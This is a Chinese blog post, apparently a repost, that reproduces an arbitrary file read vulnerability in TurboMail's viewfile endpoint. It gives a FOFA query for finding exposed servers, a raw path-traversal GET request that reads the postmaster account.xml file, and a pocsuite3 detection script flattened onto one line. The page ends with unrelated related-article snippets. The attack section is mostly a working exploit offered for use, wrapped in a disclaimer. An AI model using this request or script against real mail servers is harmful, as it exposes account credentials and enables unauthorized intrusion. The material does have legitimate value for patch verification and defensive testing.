漏洞复现-TurboMail viewfile 文件读取漏洞(附漏洞检测脚本)

免责声明

文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责

漏洞描述

TurboMail viewfile存在文件读取漏洞

fofa语句

body="maintlogin.jsp" && body="/mailmain?type=logout"

 poc加检测

GET /viewfile?type=cardpic&mbid=1&msgid=2&logtype=3&view=true&cardid=/accounts/root/postmaster&cardclass=../&filename=/account.xml HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: sl-session=ETpsDQSNgmXLKn8mYVXTVQ==

poc脚本

脚本用的pocsuite框架

# _*_ coding:utf-8 _*_
# @Time : 2023/12/19
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_strclass TurboMail_view_fileread(POCBase):pocDesc = '''TurboMail viewfile 文件读取漏洞'''author = '炼金术师诸葛亮'createDate = '2023-12-19'name = 'TurboMail viewfile 文件读取漏洞'def _verify(self):result = {}url = self.url+ '/viewfile?type=cardpic&mbid=1&msgid=2&logtype=3&view=true&cardid=/accounts/root/postmaster&cardclass=../&filename=/account.xml'headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15",'Accept-Language': 'en-US;q=0.9,en;q=0.8'}try:response = requests.get(url, headers=headers)if response.status_code == 200 and 'username' in response.text:result['VerifyInfo'] = {}return self.parse_output(result)except Exception as e:passregister_poc(TurboMail_view_fileread)

脚本利用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/286353.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

目标检测——YOLO算法解读(通俗易懂版)

论文:You Only Look Once: Unified, Real-Time Object Detection 作者:Joseph Redmon, Santosh Divvala, Ross Girshick, Ali Farhadi 链接:https://arxiv.org/abs/1506.02640 代码:http://pjreddie.com/yolo/ yolo系列检测算法开…

C#经常用的加密解密算法

1. 引言 在软件开发中,数据的安全性和保密性非常重要。为了保护数据免受未经授权的访问和泄露,我们经常需要对敏感数据进行加密和解密。在C#中,有许多常用的加密解密方法可供选择。本文将详细介绍C#中经常使用的加密和解密方法。 目录 1. 引…

QT设置鼠标样式 QWidget::setCusor()

1、使用Qt内置鼠标样式 例如手型: button->setCursor(Qt::PointingHandCursor); 其他类型: 2.自定义鼠标样式3种方式: 2.1.使用函数生成鼠标样式的图片 2.2使用画图工具生成鼠标样式的图片 2.3使用XPM生成鼠标样式 这三种方式参考&…

「吞噬星空」黑龙飞船售128亿,罗峰晋级恒星买地球,大危机降至

Hello,小伙伴们,我是拾荒君。 《吞噬星空》的国漫第98集已经更新,如同众多的粉丝一样,拾荒君也迫不及待地观看了这一集。在这一集中,布罗临死前向诺岚山家族透露了地球的坐标,这一举动无疑将地球暴露在了危险之中。现…

[笔记] linux 4.19 版本 Kbuild 编译流程解析

目录 写在前面与一些说明linux 编译工程框架 KbuildTop-Makefile 文件 linux 编译命令make helpdistclean 目标defconfig 目标build 变量与 $(build)dir 赋值使用 obj 变量实现包含目标模块下的 makefiledefconfig 规则展开defconfig 的生成命令解析 make 默认目标生成 image.g…

万户OA text2Html接口存在任意文件读取漏洞

文章目录 产品简介漏洞概述指纹识别漏洞利用修复建议 产品简介 ezoffice是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品,统一的基础管理平台,实现用户数据统一管理、权限统一分配、身份统一认证。统一规划门户网…

喜报!巨蟹数科荣获国家“高新技术企业”认定!

根据《高新技术企业认定管理办法》(国科发火〔2016〕32 号)和《高新技术企业认定管理工作指引》(国科发火〔 2016〕195号)有关规定,经省高新技术企业认定管理机构组织企业申请、专家评审等程序,并经全国高新…

Netty应用(七) ----MQTT编解码器

目录 0.前言1. MqttEncoder--编码器1.1 构造方法1.2 encodeConnectMessage -- 连接消息1.3 encodeConnAckMessage - 确认连接1.4 encodePublishMessage -- 发布消息1.5 encodeSubscribeMessage - 订阅主题1.6 encodeUnsubscribeMessage - 取消订阅1.7 encodeSubAckMessage - 订…

关于“Python”的核心知识点整理大全28

目录 11.1.5 添加新测试 11.2 测试类 11.2.1 各种断言方法 unittestModule中的断言方法: ​编辑11.2.2 一个要测试的类 survey.py language_survey.py 11.2.3 测试 AnonymousSurvey 类 test_survey.py 往期快速传送门👆(在文章最后&…

Redis7--基础篇9(SpringBoot集成Redis)

1. jedis、lettuce、Redistemplate的关系 第一代为jedis,之后推出了lettuce,然后springboot继承了Redistemplate,现推荐使用Redistemplate。 总的来说,jedis、lettuce、Redistemplate都是java操作Redis数据库的驱动。 2. 本地Ja…

3700字!我这样的爬虫架构,如履薄冰

前言 在毕业设计中,用Java写下了第一个爬虫。2019年工作之后,从Python的requests原生爬虫库,学到分布式爬虫框架Scrapy,写了60个左右爬虫。然后写了十几篇有关于爬虫的文章。但大多都是围绕着程序设计、功能模块的角度写的&#…

【记录版】SpringBoot项目自动配置场景下查看Bean的定义

SpringBoot BeanDefinition 背景: 最近在看一些SpringBoot相关的一些源码框架,自从SpringBoot实现自动化配置后,很多框架的适配和实现对我们来说都是黑盒,我们不知道某个框架到底注册了多个容器实例,以及定位的位置在…